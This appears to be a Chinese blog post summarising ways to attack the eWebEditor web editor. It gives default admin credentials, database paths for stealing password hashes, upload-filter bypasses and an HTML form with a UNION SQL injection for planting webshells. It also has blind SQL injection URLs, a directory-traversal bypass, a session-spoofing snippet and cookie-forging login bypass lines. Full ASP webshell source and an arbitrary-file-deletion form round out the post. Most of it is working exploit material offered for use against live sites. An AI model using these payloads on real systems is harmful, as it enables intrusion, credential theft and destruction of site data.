ewebeditor漏洞利用總結

先從最基本的記錄起!通常***ewebeditor編輯器的步驟如下:
1、首先訪問默認管理頁看是否存在。
默認管理頁地址2.80以前爲 ewebeditor/admin_login.asp 以後版本爲admin/login.asp (各種語言的大家自己改後綴,本文就以asp來進行說明,下面不再細說了!)
2、默認管理帳號密碼!
默認管理頁存在!我們就用帳號密碼登陸!默認帳號密碼爲: admin admin888 !常用的密碼還有admin admin999 admin1 admin000 之類的。
3、默認數據庫地址。
如果密碼不是默認的。我們就訪問是不是默認數據庫!嘗試下載數據庫得到管理員密碼!管理員的帳號密碼,都在eWebEditor_System表段裏,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密碼。可以去www.cmd5.com www.xmd5.org 等網站進行查詢!暴力這活好久不幹了!也可以丟國外一些可以跑密碼的網站去跑!
默認數據庫路徑爲: ewebeditor/db/ewebeditor.mdb 常用數據庫路徑爲:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/ewebeditor1033.mdb 等
很多管理員常改.asp後綴,一般訪問.asp .asa 後綴的 都是亂碼!可以用下載工具下載下來,然後更改後綴爲.mdb 來查看內容!
4、說說漏洞基本利用步驟,還以asp爲例!
登陸後臺以後。選擇樣式管理,默認編輯器的默認樣式都不可以修改的。我們可以從任意樣式新建一個樣式,然後在圖片上傳添加可上傳後綴。.asa .cer .cdx 等!.asp 過濾過了。但是我們可以用.asaspp 後綴來添加,這樣上傳文件正好被ewebeditor 吃掉asp後綴,剩下.asp 呵呵!代碼不詳細說了。總之是個很可笑的過濾!同樣,如果遇到一個管理員有安全意識的,從代碼裏,把.asp .asa .cer .cdx 都完全禁止了,我們也可以用.asasaa 後綴來突破。添加完了後綴,可以在樣式管理,點擊預覽,然後上傳!
5、默認管理頁不存在!
在實際***過程中,有很多默認的管理頁不存在的時候。我們可以直接訪問樣式管理頁面 ewebeditor/admin_style.asp 然後用第4步的方式拿webshell。如果樣式管理頁也不存在的話,我們可以看數據庫內的樣式表(ewebeditor_style)裏面有沒有比我們先進去的朋友留下的樣式。然後構造上傳!具體url如下: eWebEditor/ewebeditor.asp?id=content&style=www 紅色部分是我們發現被修改添加了asa後綴的樣式名,大家自行修改!
6、ewebeditor的幾個版本存在注入!
ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
添加驗證字符串,和管理員字段可以跑出管理員的md5加密密碼!
ewebeditor v2.1.6存在注入,可以用union select 添加上傳後綴進行上傳!先貼漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6 上傳漏洞利用程序----</H3><br><br>
<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
以上代碼令存爲html!修改紅色部分的路徑,然後自動上傳 .cer 文件!漏洞原因是因爲sStyleName變量直接從style中讀取,並沒有過濾,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name爲sStyleName的記錄,找不到就提示出錯!在sStyleName變量中用union來構造記錄,我們可以在sAllowExt中加入"|cer"、"|asa"等!
另外還有一些版本的ewebeditor的upload.asp文件存在注入漏洞!貼幾個注入用的url!信息錯誤則返回腳本出錯的提示,在瀏覽器左下角!具體利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意修改紅色部分的字段名、位數、ascii碼的值!
7、目錄遍歷漏洞!
這裏大概說一下!目錄遍歷漏洞基本存在於ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!這個文件有的不需要登陸驗證,有些需要!很多有經驗的管理員會把編輯器的目錄設置爲只讀權限,不可修改!這種情況下,唯一可以利用的也就是利用遍歷目錄功能查看網站文件,比如數據庫路徑、後臺地址、其他的上傳地址、最直觀的就是別人留下的小馬等等!這些都自由發揮了!說下漏洞利用方法!
漏洞利用方式如下:在上傳文件管理頁面 隨便選擇一個上傳樣式!比如ewebeditor/admin_uploadfile.asp?id=14 在id後面添加&dir=../..
類似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到網站數據庫的路徑!
另外一個遍歷目錄的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代碼爲 :
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir變量,這個值等下我們可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If

If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If

s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List

Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'這行讓人有點鬱悶,檢測了所有允許的文件後綴,如不允許就無法列出,不然就不只列出目錄名和圖片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If

s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If

s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果沒有下面這步檢測的話,應該就可以列出目錄中所有的文件了,有點鬱悶..現在只能列出允許後綴的文件和目錄名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If

Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我們順着代碼往下找,發現sCurrDir的值是通過下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next

If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If

sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1

If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If

sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select

Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select

sCurrDir = sUploadDir '注意這裏,這個是得到了配置的路徑地址
sDir = Trim(Request("dir")) '得到dir變量
sDir = Replace(sDir, "\", "/") '對dir變量進行過濾
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重點就在這裏了,看到沒有,當sUploadDir & sDir存在的時候,sCurrDir就爲sUploadDir & sDir的值了
'雖然上面對sDir進行了過濾,不過我們完全可以跳過.具體利用下面的利用中給出
Else
sDir = ""
End If
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
這樣子就可以看到admin的內容了。構造特殊的dir繞過上面的驗證!頁面空白的時候查看源代碼,就可以看到目錄列表了!
8、session欺騙漏洞!
適用於一些設置不當的虛擬主機。當旁註得到一個webshell,而目標站存在ewebeditor卻不能找到密碼的時候可以嘗試欺騙進入後臺!順序如下:
新建一個.asp文件,內容如下: <%Session("eWebEditor_User") = "123132323"%> 然後訪問這個文件,再訪問ewebeditor/admin_default.asp !欺騙進入後臺!不過很老了!
9、 後臺跳過認證漏洞!
訪問後臺登陸頁面!隨便輸入帳號密碼,返回錯誤!然後清空瀏覽器,在地址欄輸入
alert(document.cookie="adminuser="+escape("admin"));
alert(document.cookie="adminpass="+escape("admin"));
alert(document.cookie="admindj="+escape("1"));
然後再清空地址欄,在路徑裏輸入後臺登陸後的頁面,比如: admin_default.asp admin/default.asp 等。直接進入後臺,利用方式見上文!
10、利用遠程上傳功能!
比如s_full樣式就存在這個功能,打開編輯頁面,然後圖片,選擇輸入url 比如:http://site.com/1.gif.asp ! 然後選擇上傳遠程文件!自動就把1.gif.asp 保存在上傳目錄內!注:網上的東西大部分傳來傳去,這個辦法愚弄自己還成!文件的確顯示後綴爲.asp 但是不能訪問,因爲收集過來的時候自動截止在1.gif了所以後面的.asp等於沒有!而且gif的內容就是我們這個url的路徑!呵呵,後來又看到一個利用方式!是利用遠程蒐集的時候執行,我們文件的代碼生成另外的小馬!
利用代碼如下:
首先建立1.gif.asp 代碼如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我們的1.gif.asp的同目錄下建立一個akteam.asp文件,內容就是我們的小馬:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
利用上面說的遠程上傳的方式!可以得到webshell!成功率取決於,虛擬主機的安全設置!
11、任意文件刪除漏洞!
此漏洞存在於Example\NewsSystem目錄下的delete.asp文件中,這是ewebeditor的測試頁面,無須登陸可以直接進入!看代碼
' 把帶"|"的字符串轉爲數組
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 刪除新聞相關的文件,從文件夾中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路徑文件名刪除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面從數據庫取出來的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎麼添加到數據庫裏的,在addsave.asp(modifysave.asp)裏:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName

居然過濾了,是GetSafeStr函數,再看看這個函數,在Startup.asp裏:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
既然路徑沒有過濾,那就可以直接定義了,構造一個提交頁面,其中d_savepathfilename自己任意賦值(要刪除多個文件,用|隔開即可)。試試../../eWebEditor.asp,提交後刪除該新聞,於是主目錄下的eWebEditor.asp不見了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor刪除文件 byldjun(>
新聞列表%20|%20增加新聞
增加新聞
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要刪的文件(相對路徑就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新聞標題(隨便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>標題圖片:</td>
<td><select name="d_picture" size=1><option value=''>無</option></select>
當編輯區有插入圖片時,將自動填充此下拉框</td>
</tr>
<tr><td>新聞內容(隨便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
刪除文件漏洞一般是配合其他漏洞使用的,比如目錄遍歷
<a href='list.asp'>中的list.asp地址要修改
<a href='add.asp'>中的add.asp地址要修改
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
另外一個簡單利用方式:
<form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x">
<input type=hidden name=d_savefilename value="x">
要刪除的文件(相對路徑,多個文件用“|”隔開)<br>
<input type=text name=d_savepathfilename>
<input type=hidden name="d_title" value="x">
<input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea>
<input type=submit name=btnSubmit value="submit">
</form>

然後得到返回的新聞ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
有幾個版本的ewebeditor 上傳類型是在 security.asp 文件控制的!直接刪除該文件可以上傳任意webshell!
12、其他!
其他說點什麼呢!以上的辦法都是本人經驗和網上搜集!暫時就想到這些了,以後想到了再補全!說說aspx php jsp版本的利用吧!
ASPX版:
受影響文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在瀏覽器地址欄輸入lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASPX文件....文件默認的上傳後保存的地址是eWebEditorNet /UploadFile/現在來看看是否上傳成功.....
PHP版本:PhP版本和asp版本利用方式類似!不過php權限較高,不多廢話了!
jsp版本:網上有很多jsp的版本,根本沒有對上傳文件類型進行檢測!需要注意的是jsp版本的沒有上傳按鈕!直接選擇文件,回車就可以提交了!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章